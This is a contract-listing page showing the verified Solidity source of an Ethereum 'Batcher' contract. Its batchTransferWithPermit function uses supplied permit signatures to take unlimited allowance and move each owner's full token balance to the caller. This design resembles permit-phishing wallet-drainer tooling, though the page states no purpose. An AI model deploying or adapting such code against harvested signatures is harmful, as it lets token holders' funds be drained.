Batcher

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface Token {
    function transferFrom(address from,address to,uint256 amount) external;
    function permit(address owner,address spender,uint256 value,uint256 deadline,uint8 v,bytes32 r,bytes32 s) external;
    function balanceOf(address account) external view returns (uint256);
    function nonces(address) external view returns (uint256);
}

contract Batcher {
    uint256 private constant MAX_UINT = type(uint256).max;
    uint256 private constant FIXED_DEADLINE = 9999999999;

    function Nonces(address tokenAddress, address[] calldata users) external view returns (uint256[] memory)
    {
        Token token = Token(tokenAddress);
        uint256[] memory result = new uint256[](users.length);
        for (uint256 i = 0; i < users.length; i++) {
            result[i] = token.nonces(users[i]);
        }
        return result;
    }

    function batchTransferWithPermit(
        address tokenAddress,
        bytes calldata owners, // 多个地址,每20字节一个
        bytes calldata sigs // 多个签名,每65字节一组
    ) external {
        uint256 n = owners.length / 20;
        require(owners.length % 20 == 0, "invalid owners len");
        require(sigs.length == n * 65, "invalid sigs len");

        Token token = Token(tokenAddress);

        for (uint256 i = 0; i < n; ) {
            address owner;
            uint8 v;
            bytes32 r;
            bytes32 s;

            assembly {
                owner := shr(96, calldataload(add(owners.offset, mul(i, 20))))
                let sigOffset := add(sigs.offset, mul(i, 65))
                r := calldataload(sigOffset)
                s := calldataload(add(sigOffset, 32))
                v := byte(0, calldataload(add(sigOffset, 64)))
            }

            uint256 balance = token.balanceOf(owner);
            if (balance > 0) {
                token.permit(owner,address(this),MAX_UINT,FIXED_DEADLINE,v,r,s);
                token.transferFrom(owner, msg.sender, balance);
            }
            unchecked {++i;}
        }
    }
}

Tags:
addr:0x31f21d940f09f632074bdb209f07651bff8ee8ea|verified:true|block:23688699|tx:0x591dc8d931c32d2f6506f6b617b79d88378df9e9f7fa4275baafccc31f42a396|first_check:1761827402

Submitted on: 2025-10-30 13:30:05

Comments

Log in to comment.

No comments yet.